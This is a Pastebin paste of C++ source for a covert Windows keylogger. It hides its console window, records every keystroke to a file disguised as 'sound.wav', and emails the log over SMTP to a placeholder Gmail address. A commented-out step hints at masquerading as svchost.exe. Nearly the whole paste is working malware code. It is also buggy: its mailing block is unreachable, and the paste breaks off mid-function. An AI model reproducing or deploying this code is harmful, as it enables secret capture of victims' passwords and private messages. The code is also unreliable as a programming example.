Advertisement
Guest User

Error

a guest
Oct 20th, 2016
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 10.65 KB | None | 0 0
  1.  
  2. #include <windows.h>
  3. #include <stdio.h>
  4. #include <winuser.h>
  5. #include <windowsx.h>
  6. #include <time.h>
  7. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  8. char *emailsubject, char *emailmessage);
  9. #define BUFSIZE 800
  10. #define waittime 500
  11. /*SMTP */
  12. #define cmailserver "alt1.gmail-smtp-in.l.google.com"
  13. #define cemailto "xxxxxxxxxxxx@gmail.com"
  14. #define cemailfrom "xxxxxxxxxxxx@gmail.com"
  15. #define LogLength 100
  16. #define FileName "sound.wav"
  17. #define SMTPLog "ring.wav"
  18. #define cemailsubject "Logged"
  19.  
  20. int sleep(char);
  21. int get_keys(void);
  22. int test_key(void);
  23. int main(void)
  24. {
  25.   //stealth
  26.   HWND stealth; /*creating stealth */
  27.   AllocConsole();
  28.   stealth=FindWindowA("ConsoleWindowClass",NULL);
  29.   ShowWindow(stealth,0);
  30.  
  31.   {FILE *file;
  32.   file=fopen(FileName,"a+");
  33.   time_t theTime=time(0);
  34.   fputs("\nStarted logging: ", file);
  35.   fputs(ctime(&theTime),file);
  36.   fclose(file);
  37.   }
  38.  
  39.   /* if (test==2)
  40.   {//the path in which the file needs to be
  41.   char *path="c:\\%windir%\\svchost.exe";
  42.   create=create_key(path);    
  43.   } */
  44.  
  45.   int t=get_keys();
  46.   return t;
  47. }
  48.  
  49. int get_keys(void)
  50. {
  51. int freadindex;
  52. char *buf;
  53. long len;
  54. FILE *file;
  55. file=fopen(FileName,"a+");
  56.  
  57.  
  58.       short character;
  59.        while(1)
  60.        {
  61.           sleep(10);/*to prevent 100% cpu usage*/
  62.           for(character=8;character<=222;character++)
  63.           {
  64.             if(GetAsyncKeyState(character)==-32767)
  65.             {
  66.               FILE *file;
  67.               file=fopen(FileName,"a+");
  68.               if(file==NULL)
  69.               {
  70.                   return 1;
  71.               }    
  72.               if(file!=NULL)
  73.               {  
  74.                   if((character>=39)&&(character<=64))
  75.                   {
  76.                      fputc(character,file);
  77.                      fclose(file);
  78.                      break;
  79.                   }  
  80.                   else if((character>64)&&(character<91))
  81.                   {
  82.                      character+=32;
  83.                      fputc(character,file);
  84.                      fclose(file);
  85.                      break;
  86.                   }
  87.                   else
  88.                   {
  89.                     switch(character)
  90.                     {
  91.                        case VK_SPACE:
  92.                        fputc(' ',file);
  93.                        fclose(file);
  94.                        break;
  95.                        case VK_SHIFT:
  96.                        fputs("\r\n[SHIFT]\r\n",file);
  97.                        fclose(file);
  98.                        break;                    
  99.                        case VK_RETURN:
  100.                        fputs("\r\n[ENTER]\r\n",file);
  101.                        fclose(file);
  102.                        break;
  103.                        case VK_BACK:
  104.                        fputs("\r\n[BACKSPACE]\r\n",file);
  105.                        fclose(file);
  106.                        break;
  107.                        case VK_TAB:
  108.                        fputs("\r\n[TAB]\r\n",file);
  109.                        fclose(file);
  110.                        break;
  111.                        case VK_CONTROL:
  112.                        fputs("\r\n[CTRL]\r\n",file);
  113.                        fclose(file);
  114.                        break;
  115.                        case VK_DELETE:
  116.                        fputs("\r\n[DEL]\r\n",file);
  117.                        fclose(file);
  118.                        break;
  119.                        case VK_OEM_1:
  120.                        fputs("\r\n[;:]\r\n",file);
  121.                        fclose(file);
  122.                        break;
  123.                        case VK_OEM_2:
  124.                        fputs("\r\n[/?]\r\n",file);
  125.                        fclose(file);
  126.                        break;
  127.                        case VK_OEM_3:
  128.                        fputs("\r\n[`~]\r\n",file);
  129.                        fclose(file);
  130.                        break;
  131.                        case VK_OEM_4:
  132.                        fputs("\r\n[ [{ ]\r\n",file);
  133.                        fclose(file);
  134.                        break;
  135.                        case VK_OEM_5:
  136.                        fputs("\r\n[\\|]\r\n",file);
  137.                        fclose(file);
  138.                        break;              
  139.                        case VK_OEM_6:
  140.                        fputs("\r\n[ ]} ]\r\n",file);
  141.                        fclose(file);
  142.                        break;
  143.                        case VK_OEM_7:
  144.                        fputs("\r\n['\"]\r\n",file);
  145.                        fclose(file);
  146.                        break;
  147.                        case 187:
  148.                        fputc('+',file);
  149.                        fclose(file);
  150.                        break;
  151.                        case 188:
  152.                        fputc(',',file);
  153.                        fclose(file);
  154.                        break;
  155.                        case 189:
  156.                        fputc('-',file);
  157.                        fclose(file);
  158.                        break;
  159.                        case 190:
  160.                        fputc('.',file);
  161.                        fclose(file);
  162.                        break;
  163.                        case VK_NUMPAD0:
  164.                        fputc('0',file);
  165.                        fclose(file);
  166.                        break;
  167.                        case VK_NUMPAD1:
  168.                        fputc('1',file);
  169.                        fclose(file);
  170.                        break;
  171.                        case VK_NUMPAD2:
  172.                        fputc('2',file);
  173.                        fclose(file);
  174.                        break;
  175.                        case VK_NUMPAD3:
  176.                        fputc('3',file);
  177.                        fclose(file);
  178.                        break;
  179.                        case VK_NUMPAD4:
  180.                        fputc('4',file);
  181.                        fclose(file);
  182.                        break;
  183.                        case VK_NUMPAD5:
  184.                        fputc('5',file);
  185.                        fclose(file);
  186.                        break;
  187.                        case VK_NUMPAD6:
  188.                        fputc('6',file);
  189.                        fclose(file);
  190.                        break;
  191.                        case VK_NUMPAD7:
  192.                        fputc('7',file);
  193.                        fclose(file);
  194.                        break;
  195.                        case VK_NUMPAD8:
  196.                        fputc('8',file);
  197.                        fclose(file);
  198.                        break;
  199.                        case VK_NUMPAD9:
  200.                        fputc('9',file);
  201.                        fclose(file);
  202.                        break;
  203.                        case VK_CAPITAL:
  204.                        fputs("\r\n[CAPS LOCK]\r\n",file);
  205.                        fclose(file);
  206.                        break;
  207.                        default:
  208.                        fclose(file);
  209.                        break;
  210.                     }  
  211.                  }
  212.                }  
  213.           }
  214.         }        
  215.       FILE *file;
  216.       file=fopen(FileName,"rb");
  217.       fseek(file,0,SEEK_END); //go to end
  218.       len=ftell(file); //get position at end (length)
  219.       if(len>=LogLength) {
  220.        fseek(file,0,SEEK_SET);//go to beg.
  221.        buf=(char *)malloc(len);//malloc buffer
  222.        freadindex=fread(buf,1,len,file);//read into buffer
  223.        buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
  224.        MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
  225.        fclose(file);
  226.        file=fopen(FileName,"w");          
  227.        }
  228.      
  229.       fclose(file);
  230.       //free (buf);
  231.          
  232.       }
  233.       return EXIT_SUCCESS;            
  234. }
  235.  
  236. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  237. char *emailsubject, char *emailmessage)
  238. {
  239.   SOCKET sockfd;
  240.   WSADATA wsaData;
  241.   FILE *smtpfile;
  242.  
  243.  
  244.   #define bufsize 300
  245.   int bytes_sent;  /* Sock FD */
  246.   int err;
  247.   struct hostent *host;  /* info from gethostbyname */
  248.   struct sockaddr_in dest_addr;  /* Host Address */
  249.   char line[1000];
  250.   char *Rec_Buf = (char*) malloc(bufsize+1);
  251.   smtpfile=fopen(SMTPLog,"a+");
  252.  
  253.   if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
  254.    fputs("WSAStartup failed",smtpfile);
  255.    WSACleanup();
  256.    return -1;
  257.   }
  258.   if ( (host=gethostbyname(mailserver)) == NULL) {
  259.     perror("gethostbyname");
  260.     exit(1);
  261.   }
  262.   memset(&dest_addr,0,sizeof(dest_addr));
  263.   memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
  264.  
  265.  
  266.    /* Prepare dest_addr */
  267.    dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
  268.    dest_addr.sin_port= htons(25); /* PORT defined above */
  269.  
  270.    /* Get socket */
  271.  
  272.    if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  273.     perror("socket");
  274.     exit(1);
  275.     }
  276.    /* Connect !*/
  277.    fputs("Connecting....\n",smtpfile);
  278.  
  279.   if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  280.     perror("connect");
  281.     exit(1);
  282.     }
  283.  
  284.    sleep(waittime);
  285.    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  286.    fputs(Rec_Buf,smtpfile);
  287.    strcpy(line,"helo me.somepalace.com\n");
  288.    fputs(line,smtpfile);
  289.    bytes_sent=send(sockfd,line,strlen(line),0);
  290.    sleep(waittime);
  291.    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  292.    fputs(Rec_Buf,smtpfile);
  293.    strcpy(line,"MAIL FROM:<");
  294.    strncat(line,emailfrom,strlen(emailfrom));
  295.    strncat(line,">\n",3);
  296.    fputs(line,smtpfile);
  297.    bytes_sent=send(sockfd,line,strlen(line),0);
  298.    sleep(waittime);
  299.    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  300.    fputs(Rec_Buf,smtpfile);
  301.    strcpy(line,"RCPT TO:<");
  302.    strncat(line,emailto,strlen(emailto));
  303.    strncat(line,">\n",3);
  304.    fputs(line,smtpfile);
  305.    bytes_sent=send(sockfd,line,strlen(line),0);
  306.    sleep(waittime);
  307.    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  308.    fputs(Rec_Buf,smtpfile);
  309.    strcpy(line,"DATA\n");
  310.    fputs(line,smtpfile);
  311.    bytes_sent=send(sockfd,line,strlen(line),0);
  312.    sleep(waittime);
  313.    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  314.    fputs(Rec_Buf,smtpfile);
  315.    sleep(waittime);
  316.    strcpy(line,"To:");
  317.    strcat(line,emailto);
  318.    strcat(line,"\n");
  319.    strcat(line,"From:");
  320.    strcat(line,emailfrom);
  321.    strcat(line,"\n");
  322.    strcat(line,"Subject:");
  323.    strcat(line,emailsubject);
  324.    strcat(line,"\n");
  325.    strcat(line,emailmessage);
  326.    strcat(line,"\r\n.\r\n");
  327.    fputs(line,smtpfile);
  328.    bytes_sent=send(sockfd,line,strlen(line),0);
  329.    sleep(waittime);
  330.    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  331.    fputs(Rec_Buf,smtpfile);
  332.    strcpy(line,"quit\n");
  333.    fputs(line,smtpfile);
  334.    bytes_sent=send(sockfd,line,strlen(line),0);
  335.    sleep(waittime);
  336.    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  337.    fputs(Rec_Buf,smtpfile);
  338.    fclose(smtpfile);            
  339.    #ifdef WIN32
  340.    closesocket(sockfd);
  341.    WSACleanup();
  342.    #else
  343.    close(sockfd);
  344.    #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement